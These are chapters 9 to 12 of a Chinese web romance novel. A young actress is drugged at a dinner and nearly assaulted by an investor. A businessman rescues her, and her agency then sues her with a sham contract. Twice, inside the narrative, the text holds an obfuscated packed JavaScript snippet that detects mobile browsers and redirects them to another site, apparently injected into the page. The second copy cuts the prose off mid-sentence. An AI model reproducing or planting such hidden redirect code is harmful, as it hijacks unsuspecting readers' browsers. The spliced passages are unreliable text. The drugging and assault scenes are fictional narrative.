静笙的酒量刻意练过,喝到快断片眼角也只是微微泛红,但今晚她只喝了五杯,就感觉头脑发晕。 她余光环视一周,突然意识到,这瓶酒,似乎除了她,没有其他人喝。 再喝下去,非得不省人事不可。 那之后发生什么,就完全不在自己掌控之内。 她立即让董菲儿给自己打个电话。接通后,面露焦急。 有人问她怎么了,她晕晕乎乎地打起精神:“邱董……我爸爸摔了一跤,脑出血快不行了,现在在医院做手术。我得去给他交医药费,先走了,实在不好意思。” 邱董扬扬眉毛,一派长辈的镇定,“脑出血听着严重,其实有的也是小毛病。交医药费,不需要你去。你也不是医生,只会添乱。” 邱董给秘书使个眼色,“这样吧,我派人去医院。给你父亲介绍最好的医生。至少先把这顿饭吃完。” 又一杯红酒倒下去之后,静笙暗暗掐一把自己的大腿。 她佯装摆摆手,嘴巴嘀咕着什么,身子一歪,趴在餐桌上。 静笙保持东倒西歪的姿势,听到耳边邱董冷声吩咐随身秘书,“带她去我房间。” 她阖着的眼皮下,眼珠滚动,睫毛微微发颤。 随后,手臂被人提起,挂在脖颈上,被人半拖着离开房间。 等喧哗声渐远,她睁开迷蒙的双眼,“宋秘书,我……想去趟洗手间。” 宋秘书微顿,对这事轻车熟路了,自然轻易能看透这姑娘嘴里的话都是借口。就算,不是借口又能怎样,他们并不在乎。 “马上到邱董房间了,你忍一忍。” 静笙眼前一阵阵发黑,就要解开裙子,“我现在就要去。” 宋秘书见她去拉拉链,赶紧扣住她的手。把人往电梯里送。静笙扒住开合门,不让电梯运行,另一只手拿手机,顾不得那么多,直接给周清蕴打电话。 很快,她听到“您拨打的电话正在通话中,请稍后再拨”。 再拨打,还是一样。 静笙全身的血液都被抽光,她意识到,自己被拉黑了。 这边推搡的动作很大,很快引来服务生。 服务生迟疑地看着这对满身酒气的客人。询问他们有什么需要。 宋秘书把她拖回来,“她喝醉了,一喝醉就这样,不好意思啊。” 服务生自然认得他们是同行的,也知道谈静笙是什么位置的角色。点头致意后,默默离开。 宋秘书看了眼电梯,把她拖到楼梯间。扛到上一层。 静笙更想吐了,死死咬着舌尖,让自己保持清醒。她以为自己挣扎的幅度很大,但其实根本没使出力气,宋秘书纹丝不动。 光影几次转变,鼻腔里闻到套房里的香薰味,耳边传来一个不悦的声音:“怎么才上来。” 是邱董。 ** 周清蕴每次见到那小演员的时间都不长。 但每一次,她都能在脑海里盘旋很久。 不强烈,就像老式钟表秒针发出齿轮运行的声音,滴滴答答地转不停。 他意识到,她有意无意中已经过多影响他。 这种影响并不是出自她本身,而是另外的故人。 为了避免再被影响,手机把她号码拉黑。 他确信这女孩对他没有一丁点留用价值。 不过,邱董那人,终究不能太放心。 那间会所是他的地盘,不想沾惹任何龌龊之事。晦气不说,也影响营业。 离开会所之前,他让经理随时盯着,别闹太大。 经理弄不明白他什么意思,事无巨细地汇报给他身边的章秘书。 周清蕴的车刚开出两公里,章秘书就收到了经理的电话通报。 说什么谈小姐喝醉了,疑似耍酒疯,不肯跟人进电梯。问他怎么处理。要不要介入。以及怎么介入。 本不该在意,但她偶尔给他的感觉,也确实像昭昭。一点点,不多。 刚才的谈话中,如果她敢说出任何威胁的话,他不仅不会接受她,还会立刻封杀她,让她为自己的莽撞和愚蠢感到后悔。 但她很聪明,及时将自己的话刹车。 “没所谓得罪谁。该怎么办就怎么办。”周清蕴不耐地对秘书说,“这件事不必再向我汇报。” 章秘书察言观色,问:“周总,要回去吗?” 周清蕴将膝上的笔记本合上,按按额角,却又不合时宜地想起某个夜里,有人用指腹轻轻揉捏,不像按摩,更像调情,他便收回手。 语调平淡,“回什么,去酒店。” ** 宋秘书解释两句,自行离开。 周遭安静到死寂。 静笙强撑看向邱董。 女孩子半坐在柔软的大床上,双臂后撑。因刚才的撕扯,一头深棕亮顺的头发绸缎般地披散 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静笙说:“我可以把片酬退给你。您送我的东西,我也不要了。” 男人嗤笑:“现在可由不得你。” 很多女孩子并不愿意付出自己,但只要手段强硬,她们也不得不屈服,只要后续补偿到位。 他是个中老手了。 床上的女孩忽而对他甜甜一笑,“我想先去洗个澡,可以吗?” “可以。” 静笙以为他会放她单独走,但他随她一起到浴室。她没有别的机会了,开始奋力反抗,大理石台面的护肤品瓶子全都砸过去。叮叮当当一团糟。 男人被一只瓶盖擦过额头,又被打开的水龙头浇湿,愤怒地给秘书打电话。静笙趁机跑出套房,门刚被打开,就被人拉扯头发,往后拖拽。 她彻底没力气了。眼睁睁地看着房门自动阖上。 就在门与墙壁之间只剩一纸光线之时,一只手插进来,再推开。 光在脸上温和铺陈。 静笙从来没把希望放在他身上,他拒绝她已经很干脆,毫无回旋的余地。 她不知道什么值得他回头,大概不是自己。 但这些都不重要。 来不及多想,身上的禁锢松了,她爬起来直直地扑到那人怀里,搂紧他的腰。一句话都没来得及说,脑子就晕过去。 周清蕴托住她逐渐瘫软的身体,看向她身后,眸底暗影浮动,“邱董,您这是做什么?” 邱董实在没想到,人都在自己床上,还能有这一出意外。 还有,周清蕴为什么会在这里。 “她喝醉了,我让她好好睡,她不听。和你们无关。” 周清蕴冷淡地说:“为了顾客的安全,还是应该立即送医更好。” 说得冠冕堂皇,同是男人,他不信他不懂,“你认识她?” 周清蕴说:“邱董,这是内地,不是你们家,大家都遵纪守法。” 邱董笑了,伸出食指点他:“法?你真要为一个女人为难我?” “您不为难我,我也不为难您。这地方是我的,我就得保障这里的安全。” “可以,我现在就退房。人交给我。” “等人清醒了,自然会去找您。”周清蕴说,“您向来爱护晚辈,一定能理解的吧。如果不理解,我也不介意让您在内地多待几年,或十几年,慢慢理解。” 邱董脸色一僵,听出里面的威胁。 不管对方暗沉的脸色,周清蕴打横抱起怀里湿漉漉的人,大步离开。 10. 第 10 章 静笙是在医院的病床上醒来的。 正值清晨,冬日阳光也温暖,把她的眼皮照得发烫。 身边有护工随时照看她,见她醒了,立刻唤来医护。 她的身体无大碍。 吃下的药是具有强效安眠作用的药物。 静笙虽然放心,但这事给她留下点阴影和后怕,特意感受了身体是否异样。确认无事发生后,才吐出一口气。 有一瞬间,她想报警,但除了被灌酒,没有遭遇更严重的伤害。大概率不会被受理。 邱董那边也不会因为报警,就会进局子,可能还会反咬一口。 她还得罪不起他——尽管已经得罪了。 静笙的随身包也被妥帖地放在床头柜上,里面一样东西也没少。手机只剩一点点的电量,已经自动关机,插上数据线,聊天框接二连三地弹出。 其中联系最多的,就是经纪人杨磊。 电话一接通,他的声音劈头盖脸地传过来:“祖宗,您怎么才接电话啊!我刚才接到消息,说你不用去剧组了。资方决定临时撤掉你!” 静笙已经提前预知这件事,并不感到意外。只是好奇他们会怎么改。 经纪人说,要么重拍,要么把她的角色写死,最省钱的是换另一个演员替她接演。导演还在和编剧商讨方案。 唯一确定的是,静笙绝不会再出演。 “你到底做了什么!跟邱董道个歉还来得及。” “我不会道歉。我说不想伺候他了,他不让我走,还给我灌醉,想要□□我。” “你这……”杨磊讶然片刻,“之前不是好好的吗?我真是服了,睡一觉而已,你就当被狗咬了不行吗。” “你想被狗咬你就去洗干净屁股。我不干了。” 静笙发现,说出这句话,整个人都轻飘飘的。 她恍然,原来自己并不喜欢做那些事。 可是,在现实中,她不愿意做的事有很多,不愿意穷,不愿意生病,不愿意被嘲笑,不愿意被忽视,不愿意被抛弃,不愿意被比较。 很多事情不做不可以,做了也不可以。已经分不清应该和不应该的界限。 “邱董要是他妈的喜欢男的,我还真不介意!”杨磊出口成脏,“是个人都比你敬业!我真是看走眼了。你知不知道这件事的后果?公司刚签你,你就闹成这样!你还想不想在这行混了?” 静笙说:“你还记不记得一开始,你说不用我陪睡?” 杨磊不讲话了,气得直接挂断电话。 静笙不再搭理经纪人,翻到通讯录里,最下面的那个名字,不知道自己有没有被解除黑名单。 他也没有通过别人递给自己只言片语。她摸不清他的态度。 只有办理出院时,护士说住院费已经结清,不需要她再支付。 静笙收拾为数不多的行李,叫车回了公寓。 没了工作,她先在家里躺了两天,再报复性地购物三两天,赶在试探期去医院陪姐姐。 她没跟佳宜说最近的经历,怕她担心,只给她买更多的奢侈品礼物。 佳宜依旧不想让她花钱买这些,但看妹妹心情不错的样子,也就不扫兴地闭嘴。 手术过后,佳宜气色好点,能吃更多的饭菜。 跨年这天,静笙没办法预定米其林餐厅,就去辛苦排队,买了个食盒,打包坐出租车过来。她和姐姐在病床旁的破旧柜子前吃完。 吃过饭,佳宜说:“哦对了,昭昭,我要结婚了。” 静笙正往嘴里送菜,“……什?” 对她来讲,无亚于晴天霹雳。 她一直认为自己和姐姐会过一辈子。怎么突然多出来个男人? 谁啊? 从哪冒出来的? 真是岂有此理…… 她立刻严肃地问对方是什么人,学历工作如何,年薪多少,身体是否康健,有无犯罪史,车贷房贷几何。 佳宜也有点不好意思,蹭蹭鼻子,挑重点说:“是这医院的医生,也是我初中同学。” 静笙皱眉,心里快速盘算。 她不喜欢医生这职业,总觉得工作太忙不顾家,但是配姐姐的话,倒也合得来,因为医生能够多照顾她。至于这医生本人怎么想,静笙一点都不在乎。 “姐,你跟他说了吗?” “说了,他也不想要孩子。” 以佳宜的身体,是不适合生育的。 “这么快就要结婚吗?你们才谈多久,别不是被骗婚。他不是gay吧?”静笙嫌弃地撇嘴。 佳宜笑说:“你之前还说要结婚,这会儿就嫌我快了。放心吧,他人很好,不是骗婚。他说他一直暗恋我来着……” 这话说到最后,声音越小。 静笙一扭头,就看见一个白大褂站在门口,谈佳宜脸瞬间红了,强自镇定。 静笙打量这位准姐夫一眼,也就占个清秀,勉强配得上姐姐。 她略略问好,心里轻哼一声,就不再搭理。 准姐夫姓褚,是普外科的大夫,跟谈静笙讲了一下病情,让她不用担心。 回到家,静笙还是有种姐姐被抢走的愤懑,但也终于放心她一个人在医院。听她的话,不再送去各种奢侈礼物。 ** 杨磊没有再联系静笙。 换了个新经纪人对接她的工作。给她找的也是站台、直播、短剧、模特、去大公司年会唱歌的边角料。 最初,静笙心态很好,有工作就接。 有一次,她在直播间啃完鸡爪,去洗手间催吐。 胖不胖不要紧,她怕这玩意伤了肠胃,而习惯性呕吐也会导致嘴凸,法令纹加深,变老变丑。 那之后,她拒绝吃播。 新经纪人不劝她什么,隐隐有雪藏的意思。 元旦过后,静笙在图书馆复习两周,完成这学期的期末考试。课程不多,突击也能通过。 寒假,她彻底闲下来,准备论文开题之余,就去董菲儿的直播间帮忙。 还是被董菲儿提醒,“你上热搜了姐妹。” 她眼皮一跳,以为是什么,却是对她而言正面的消息。 上次演的剧播出,她饰演的千金女配突然火了。 起因是女主演的粉丝和另一家正当红的小花温苏凌打架,温苏凌的粉丝战斗力都超强,立刻反击说女主演长得不行,只能靠大滤镜磨皮,还刻意把比她美的女配画丑。 静笙在同一个剧里的前后对比图被扒出来,反差感拉满,洗都没得洗,图片在各大八卦论坛广为流传。 吃瓜群众大为震惊,这是同一个人?小透明没人权啊。更多人跑去看剧。 这剧里男女主的演技都不大行,静笙的表演就更突出。 静笙一出场就和其他人不是一个图层,睥睨众生和翻白眼的动作在美丽的脸蛋上作起来也别有一番风味,很多博主跟风模仿。 于是,这场“让妆”风波就这么上了热搜。 静笙为数不多的物料被扒出来。 评论里都在说她为什么不红,快点红起来。 经过上一段失败的经历,静笙心态有点佛系,把这些评论看得很淡。 这热搜,过了不到一天就热度骤降。 取而代之的是另一条热搜。 韩庆文的女儿韩慕乔被狗仔偷拍,称她正在和一个青年才俊约会。 静笙点开,就看到青年才俊的侧脸。 像素并不高清,但依然能认清是周清蕴。聚会是几个人一起的,周绍晨也在。 狗仔可不管谁和谁是什么关系,哪个话题流量最大就捏造哪个话题。 粉丝们开扒此男是谁,原来是某三代。 没过多久,韩慕乔发微博澄清: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482958|201855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辟谣!没有约会,就是朋友们出来聚一聚。本人唯一男朋友只有工作[笑]。 这条澄清的措辞比其他艺人的澄清都准确,粉丝让路人都散了,关注妹妹作品。 静笙不关心这些,只好奇周清蕴未来会和谁结婚,她倒要看看是哪个天仙。 再过一会儿,周清蕴的名字彻底从网络上消失。 静笙再搜自己的词条,也是一片空白。 但显然,他们共同在互联网的匿迹是出自不同的理由。 晚上。 静笙正和董菲儿吃火锅,说起热搜。 董菲儿以为她会沮丧,但她意外地平静。也许是接受了现实。 因韩庆文这一层关系,静笙连电影学院都进不了。她高考前白白浪费了艺考时间。复读一年才考入A大。幸好她年龄本就小一岁上学,没太耽误事。 静笙就是从那个时候起,下决心一定要不择手段地进圈,还要大红。 可是,总是面临事与愿违。 董菲儿也不知道她和韩庆文的关系,只看着网友们截图保留的照片,“这个周清蕴是你前男友的哥哥?” 静笙说她见过应知许,而应知许和韩慕乔是朋友,她们能认识周家人,也是正常。 “怎么哥哥也这么帅,不,是更帅。气质很好,弟弟总感觉还不成熟。” 一提起周清蕴,静笙心里总是窝火,不多,一点点,她说:“中看不中用。” 不能给她的用的男人,不如不出现。 董菲儿误解了她的意思,“啊?那方面不行吗?不会吧?大树挂辣椒?” 她瞪大眼睛,食指和拇指捏了个短距。 “……不是那个意思。” 董菲儿理解了,“啊,我就说,你怎么可能知道前男友哥哥的尺寸。又不是脱光看了。” 静笙往嘴里送青笋,一不留神就被烫了下。赶紧喝酸梅汤。 董菲儿叹气:“那确实,这种男人只可远观。” 吃过火锅,有人给静笙打电话,让她签收一个快递。 她没理。 回到家里,拿剪刀挨个拆快递。 她爱好购物,喜欢一切漂亮华丽的昂贵物件,几乎每天都要签收快递。看见新鲜的东西,会感觉自己也是崭新的。 这些礼盒中,不光是她自己买来的,还有其他人送的。 最近送得最频繁的,要数周绍晨。 俩人彻底分手,他也时不时地打钱送礼物,静笙假装不知情,在小红书上po出照片感谢:不知道是哪位朋友送的,但很漂亮,谢谢啦! 周绍晨会用自己的小号点赞和打赏。 能认出他,是因为他的头像是他喜欢的游戏角色。 也许,他自己也没想藏,借此试探她的反应。 静笙把带有特殊痕迹的礼物留下,依旧卖掉还未来得及贬值的通用款。 只要花钱不大手大脚,还是能够攒下钱的。 她也要重新规划自己的未来,是继续靠脸赚钱,还是找个班上。 进入娱乐圈属实是痴人说梦,也不值得她堕落太多。 她现在还年轻,距离毕业还有半年,找任何实习还来得及。 可是拍戏的节奏即使辛苦,朝九晚五的生活好像更不能适应。 她曾经短暂在公司实习过,比娱乐圈好点,但各种人情世故也要精准拿捏,并不如何轻松。 而不拍戏的话,其他工作做起来也没太大意思。 头疼时,却看见一个ems的快递,薄薄的,文件夹大小。 她疑惑撕开,映入眼底的,竟是一张来自法院的传票。 原告浩川娱乐,控诉被告在合约期违约,私自签署阴阳合同,有损公司利益。要求被告赔偿公司损失两千万余元。 看到赔偿数字,静笙的眼睛仿佛被蛰了一下,文件陡然被她捏出褶皱。 11. 第 11 章 浩川文娱的办公楼里,静笙根本没能碰见杨磊,她的磁卡失效,连闸门都刷不进去。 正打算偷偷进去,碰见了的桑榆。 静笙突然退出剧组,这事闹得全公司都知道。除了贺淞林问她“需不需要帮忙”,其他人私下议论纷纷,面上尽可能远离她,生怕被殃及池鱼,触了霉头。 桑榆之前一直在拍戏,听到些许风声,但不知内情,把她拉到一角,小声问:“怎么了?” 静笙简单把被公司告了的事说了。 “我根本就只签了一份合同。” 哪里来的阴阳合同? 桑榆觉得这事比想象中还大,“你再好好想想。进公司之后都做过什么?” “进公司就签了一份经纪合约,然后——” 她哑然失语,突然想到,是签了两份。 第一份是试镜成功后签的合同,另一份是杨磊说要给她多片酬,又签订一份。 她还问了一句之前的怎么办,他说作废,重新签约。 问题在于,她并没有看到上一份合同被注明失效。 具体流程都是杨磊在走,合同也由他保存。 她当时只顾着看合同里的具体条款有没有暗藏的坑,忽略了其他可能。 她自认为行事谨慎,没想对方手段更下作。 静笙煞白着脸,捏紧掌心。 阴阳合同这件事,赔钱算小,如果被爆出她主观偷税漏税,别说在娱乐圈工作,连各大平台的账号都会被封。 这是一点边角料都不想给她吃。 桑榆不知道怎么安慰她,“你也不用太自责。听说他们还会伪造签名,弄个假合同。不用这一招,就换另一招,我们这种小演员根本不是对手。要不,你和杨磊他们商量商量。别闹太僵,总会有办法的。至少别被封杀。” 静笙谢过她,转头去咨询律师。 律师给出专业性建议:最好是和解。 没有任何证据能够证明她被陷害。 差点被□□?没有实施依据。 剧组里所有的人都看到她和邱董有往来,说是情侣不为过,反而对她不利。 至于被灌酒,被下药。 安眠药而已,没办法证明是对方下的,说不定是她自己想吃。 总而言之,官司想赢,很难打。 两千万违约金可能压到一千五百万,但还需要支付一笔高额律师费用,算起来,并没有便宜多少。 换成大牌艺人,有成批粉丝维护伸冤,都可能退圈。 静笙这种十八线小艺人,就像一片雪花融进泥泞里,消失了都没有声量。 这事大概是浩川和邱董那边联手。 对于不听话的艺人,上点手段轻而易举。 静笙在温暖的公寓里,发了一身冷汗。 董菲儿在身边陪着她,“两千万,我倒是可以凑钱借给你。唉……不就是不愿陪老头睡,就遭遇这些。凭什么啊!” 静笙闭了闭眼,“我的钱全喂狗也不想给他们。” “你打算怎么办?要不,找周绍晨帮忙?他家肯定能解决吧。” 邱家大本营不在内地,为扩展市场,这些年才开始在内地布局,势力再强也比不过在四九城根深蒂固的周家。 静笙舒出一口闷气,她起身去书房,折返时手里多了一只盒子,是董菲儿一直垂涎的西太后限定版冰川蓝orb项链。 “菲儿,这个送你,帮我个忙。”她说。 ** 周清蕴这一阵都在应酬,年底到正月这时间段,工作量减少,但繁忙程度丝毫不减。 除了合作商、股东、高层,还要应付家里亲戚,倒是忘了总给自己添麻烦的某个人。 章秘书每天都会跟汇报一嘴谈静笙的近况,目的是为了让她少在社交平台提到周家,多惹事端。 其余的,不必多言。 周清蕴带着助理回到自己父亲的家,照例送上年货。 东西不重要,重要的是一份心意。 父亲周令泽的现任妻子裴桦——准确来说,是现任女友之一,作为家里的女主人,也笑容满面地迎接他。 虽然周令泽出轨时生了个儿子,但他并没有再婚的打算,二人至今未注册。 一是家里人并不认可,二是信托按时给伴侣打入生活费,没必要再加一层法律关系。 时间久了,即使周令泽外面还有别的女人,裴桦也很沉得住气。在家里,佣人们也尊称她一声夫人。 周清蕴同样含笑,送上珠宝作为礼物。 周令泽很满意见到家庭和睦,原先不觉得子女多重要,也许是人老了,忽然意识到家庭氛围的重要性。 “清蕴,你弟弟年后就要进公司,照应着点。” 父亲嘴里的弟弟并不是周绍晨,而是同父异母的弟弟周天承,去年刚从斯坦福毕业,并在那边的投行工作两年。比周绍晨大一岁。 周清蕴谢过裴桦亲倒的茶,持在手里,并不急着喝,“明白。” “至于绍晨,到底不是亲兄弟,还是防着他点。” 周令泽和周邵晨的父亲,也就是自己的弟弟,在年轻时关系不错,后来有点过结,谁也没主动修复。周令泽又在家族斗争中成功夺权,弟弟自己单干,但弟妹,也就是周绍晨的母亲,可不是省油的灯。 不管从哪个角度来看,周清蕴都得提拔自家亲弟弟。 至于小时候的事,周令泽也觉得愧对于长子,但都是过去这么多年了,他过了叛逆期,大概已经能放下。 而周清蕴对这两个关系较近的弟弟都不错,逢年过节,都会送来昂贵礼物。生意场上也多有照顾。 “你也到岁数了,如果没有合适的,和应家那小姑娘重新把婚定了。” “晚两年不迟。” 周清蕴垂眸看着茶杯上氤氲的热气。 周令泽说:“你还喜欢之前那个姑娘?” “没有,您误会了,我没那么喜欢她。” “没那么喜欢,还死活要跟应家退婚?男人么,别那么拘泥于儿女情长。而且人死不能复生,还是要往前看。” 周清蕴不接这话,静坐片刻,手机开始震动。他提起茶杯,走到落地窗前。 一接通,周绍晨焦急的声音传来,“哥,帮我个忙吧,静笙被经纪公司告了,现在所有账号都被封,我实在担心她。” 周绍晨说,他每天都有查看谈静笙的账号更新,就在今天,她所有平台都被注销,此事必有蹊跷。 再去谈静笙的朋友董菲儿的账号私信自报家门,询问缘由。对方晚一会儿才回:你不知道吗,静笙出大事了。 周清蕴不为所动,“她得罪了邱家。” 或许还不止。 这女孩子没出道几年,就能招惹这么多势力,另一角度看也是人才。 周绍晨一怔,“你都知道?那就好说了。她一定是被姓邱的老头强迫接受潜规则,哥帮个忙吧。她就是个无依无靠的小姑娘。我让她和你见一面,你听一下前因后果。这是最后一次!我保证。反正,我再过两天就要去海外就职了。” 周清蕴摇头:“你可真是个划算的前男友。” 周绍晨有些不自在,“她是因为接受不了我心里有别人才主动提的分手,我本来就欠她。” 周清蕴轻笑一声。 即使是分手,她都能把局面发展成对自己有利的一面。 果然有小聪明。 “就这样,明天我让她过来,她还不一定能接受你的帮忙。哥,你空出个时间。” “我没空。” 周清蕴挂了电话,顺手把手里的龙井茶泼进旁边的九里香盆栽里。 ** 静笙分别注销了微博抖音小红书所有的账号。 经常视奸她的周绍晨肯定能第一时间察觉到异常。 她没指望周清蕴会插手,但周绍晨是唯一一个能帮她的人。 静笙回完周绍晨消息后,把董菲儿的手机还给她。 周绍晨完全不知道这个账号背后是自己。 做完这些,她有些心痛,好不容易攒到上万粉丝,眨眼间就没了。 但即使自己不注销,过一阵子平台下场,结果可能更糟。 等到晚上,有一个陌生手机给自己打电话,静笙接起。 “是我,周绍晨。先别挂,听我说完——” 静笙当然不会挂,她吸了吸鼻子,带着点鼻音说:“有事吗?” “我带你去见我哥。把阴阳合同的事跟他说清楚。让他帮帮你,好吗?” “你都知道了……”静笙弯起唇角,声音却萎靡,“我不想麻烦你哥。” 周绍晨语气稍微严厉,“你难道想被封杀吗?” 她静默不语。周绍晨催她赶紧下楼。 几个月没见她,周绍晨觉得她瘦了一点,更漂亮一点,更陌生一点。 他不自由地伸出手,习惯性吻她,被她惊悸地隔档下来。 周绍晨清醒后,尴尬地收回手,摸摸鼻子,“系好安全带。” 静笙也是有点无语。 周绍晨问她合同的事,她神色惶惶地说了,隐去周清蕴的出现。 周绍晨骂了声“老变态”。 那老男人在圈里也声名狼藉,因为手里有点权,又属于你情我愿的界限,没闹出别的大事,也就没人管他。 礼尚往来,静笙也问他的现状。 周绍晨说他要出国,去海外分公司,可能两年,可能三年。 当然,他没说这是父母听说他给静笙定了求婚戒指后,临时决定的。 朋友们都来不及给他举办欢送会,他就要被打包送上飞机。 今天来接她,也是打算在出国前见她最后一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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周清蕴并不意外在这里见到他,以及他身边的灼灼目光的女孩子。 他的视线下垂,往她搭在周绍晨胳膊上的手腕轻轻一瞥,继续笑着跟面前的部长谈论事宜。 社交结束后,他看了一眼周绍晨。他讷讷地跟随兄长来到另一个房间。这里人更稀少许多。 静笙没感到周清蕴看她,但手腕莫名发烫,也就不着痕迹地从周绍晨臂弯里抽出,平移脚步,拉开一个安全的距离。 周清蕴一个眼神扫过去,周绍晨就急切而愤慨地说起阴阳合同的事。 周清蕴打断:“她自己有嘴巴,让她自己说。” 静笙这才抬眼看着周清蕴,把这事跟他再说一遍。 周清蕴也只看着她的眼睛,“你在陪人应酬之前,就应该料到这些。” 周绍晨都受不了他这么严厉,“哥,你温柔一点。静笙她也没想到这些。” 静笙说:“我料到过,但我存在侥幸心理。” 她想用最小的付出换取最大的回报。她在赌邱总不会对她下手太早,妄想电视剧播出后,她拥有话语权,有底气拒绝他。 周绍晨闻言一噎,“但她还是没有接受啊。那姓邱的犯法在先,君子论迹不论心,这是哥你告诉我的。” 周清蕴态度不变,“犯法的事去找警察。找我有用?” 周绍晨叹气,知道这事行不通了。这个时候,他手机震动,来自母亲。父母也来参加慈善宴,问他在那里,赶紧过来。 他不想让父母看见自己还和静笙在一块,抱歉地看看她,跟周清蕴说一声,赶紧撤了。 边走边再给她发微信,她走的时候让前台给她叫车。如果哥哥不同意帮忙,他也只能帮她解决违约金。 单独的房间内,隔绝了外界的所有喧嚣。 静笙没理手机震动。 有那么很长一段时间,面对而立的男女都在审视着对方。 “有用。” 静笙终于开口说:“周总帮我也不是头一回了。” 周清蕴面色不变,“哦,我帮过你,你就是这么恩将仇报。” 她小声反驳,“我没有。我也是在帮你。” 周清蕴意外地扬眉:“你帮我?” “那个邱董祸害了不少女孩,你解决他,就是在为社会作贡献,是积德行善。你以后会有好报的。所以,表面上看是你帮我,实际上是我帮你。” 他似笑非笑,“我是唯物主义。不相信因果报应。” 静笙抿唇看着他。 周清蕴说:“你这次是怎么让邵晨发现你的事?账号,是你自己注销的吧。” 静笙没有一秒钟犹豫,“对。” “你继续去找邵晨帮你。他一定肯为你解决违约金,可以知足了。别太贪心。” “可是,让他帮我出钱,我也一定会付出些什么。” 周清蕴手里转着高脚杯,里面涟漪波动。似乎是在听一件和他无关的事。 静笙心一横,取过他手里的高脚杯:“我不想对他付出,你知道我不喜欢他。我想对你付出。” 12. 第 12 章 周清蕴无动于衷。 经常被女性示好的男人,见过太多真心,真心都变得廉价。 “绍晨那边行不通,你就想勾引我?” “不是勾引,我,很喜欢你。” 静笙并不擅长表白。 和别的男生,她只要对他们多说几句话,多含笑看他们,他们就像被程序设定完毕的原始猴子,自动过来追求她。拍戏也暂时没说过这种话。 人生第一次告白,不含多少真心,说得结结巴巴,又唯恐漏了怯。 糟糕的是,眼前的男人没有给她任何可供参考的回应,他轻飘飘地反问:“你喜欢我什么?” 事情一旦有了开头,接下来就比较容易。 “喜欢你的长相,喜欢你有钱有势,喜欢你气质好,喜欢你帮我。”顿了顿,她再暗暗鼓气,“也喜欢和你接吻。” 周清蕴也不过是眉心微微一拢。 “这些都是对你有利的。说点对我有利的。” “我长得好看,身材也好,人还聪明,唯一不好的就是家庭,但你又不会和我结婚,所以缺点反而是优点。我太完美了。” 周清蕴点明:“你爱撒谎,功利心太强,有时聪明反被聪明误。” 静笙眼睛都不眨,“我不是爱撒谎,只是爱给人留情面,你知道实话总是难听的嘛。功利心强说明我是个务实的人,善于保护自己。至于最后一点,不是我不够聪明,而是别人太阴险,道德底线太低。我本质还是太善良了。” 周清蕴倒也不反对她的这些说法。 “而且……您应该也挺喜欢和我接吻的。” 她这话说完便有些困窘地抿唇。 虽然她以为他是周绍晨,但真的还不赖。她相信对方也是一样。既然已经错了,将错就错没什么不好。 静笙什么都没有,作为成年人,什么是值得交换的,彼此都心知肚明。但他却故意发问。真的有点恶趣味的人。 周清蕴面色不改,“那晚,换成别人,结果也是一样。你没什么特殊。” 静笙说:“可能吧,世界上普通人很多。但你听说过吗,两个陌生人认识的概率是两百万分之一。我们见过这么多次,已经堪比奇迹。” 这段文艺电影般的台词被她说出来,不觉得违和。 周清蕴心头仿佛被敲了一记,余音环绕,让他似曾相识,但面上不显分毫。 他笑:“至少,这次见面可不是你口中的’奇迹’。” “此刻站在你面前的是我,不是其他人,是你让我变得特殊。” 静笙将手里的高脚杯放到唇边,微微一仰,红色酒液抿进唇腔。 她试探着拉起他的手,把高脚杯重新放回他手里。 周清蕴没有推开她,任由她柔软的指腹覆在他坚毅的指节。年轻女孩的手像羊脂白玉,冰冰凉又滑腻腻。再渗透些危险的温情。 并没有其他女人故作妩媚的撩拨与极尽讨好,不自卑亦不自负。 她眼里仍然有很强的功利性,但也坦坦荡荡地将它们全都袒露在他面前。 不,或许,这也是她演技中的一部分。 而即使是演技,也足够炉火纯青。 直到有人叫他的名字,他把剩余的红酒饮尽,抬步离开。 静笙一愣,连忙跟去,知晓他讨厌公共场合过于靠近,一直保持着不远不近的距离。 有人好奇看她,她全部回以微笑。 也有人以为她是周清蕴新聘来的小助理。 跟她递送名片,她欣然接受。 跟她敬酒,她也照单全收。 周清蕴身边的章秘书也看西洋景似的看着她。但上司不说话,他也不会赶人。 她看到周绍晨一家跟周清蕴打招呼,周绍晨偷偷地看她一眼,再垂下眼帘,似乎有些黯然伤神。 两位长辈根本没把目光放在她身上,跟周清蕴浅聊几句,因为关系很熟,反而省去很多虚伪的社交。 那位持重庄雅的中年女性美丽而落落大方,拍拍周清蕴的手臂便告辞。 拍卖会上,周清蕴花了千万拍下一只高古瓷,直接将它送给一位长辈。算是给这场慈善会交差。 往外走时,司机为周清蕴打开车后座的门,静笙刚要趁机坐进去,周清蕴凉凉开口说:“你坐后面那辆车。” 静笙恍然:“啊,我不跟你回家吗?” 他只睨她一眼,让司机关门开车。 静笙想,他可能喜欢矜持的,或者今晚很累了。 刚要离开,又返身拦住车门,想得到个准确回答,“周……总,你是答应我了吧?” 周清蕴只给章秘书一个手势,章秘书不知道他们打什么哑谜,但立刻让静笙上后面的车。 “谈小姐,有什么事跟我讲就行。” 静笙来不及道晚安,周清蕴的车就开走了。 她云里雾里的,跟司机报了自己的住址。 悬着的一颗心回落,又没完全放下。在半空中摇摇晃晃。 这应该是周清蕴惯常拿捏人的手段,不肯定也不否定,让对方焦灼着。 路是熟悉的路,但她又不知道自己通往哪个方向。 ** 今年的正月来得格外晚。 唯一发生的好事是,静笙把出院的姐姐接回家里。 是用佳宜的名字贷款买下的那套房子。 生活好像重回正轨。无论如何,人生还在继续。 只有姐姐在身边,她会觉得一切没那么糟。 佳宜同样问过她账号的事,被静笙搪塞过去。 准姐夫给她们送了年货,佳宜留他吃顿饺子。静笙心里再不满,也不会当面说出来,默默扯扯嘴巴,给客人招待水果、零食和茶水。 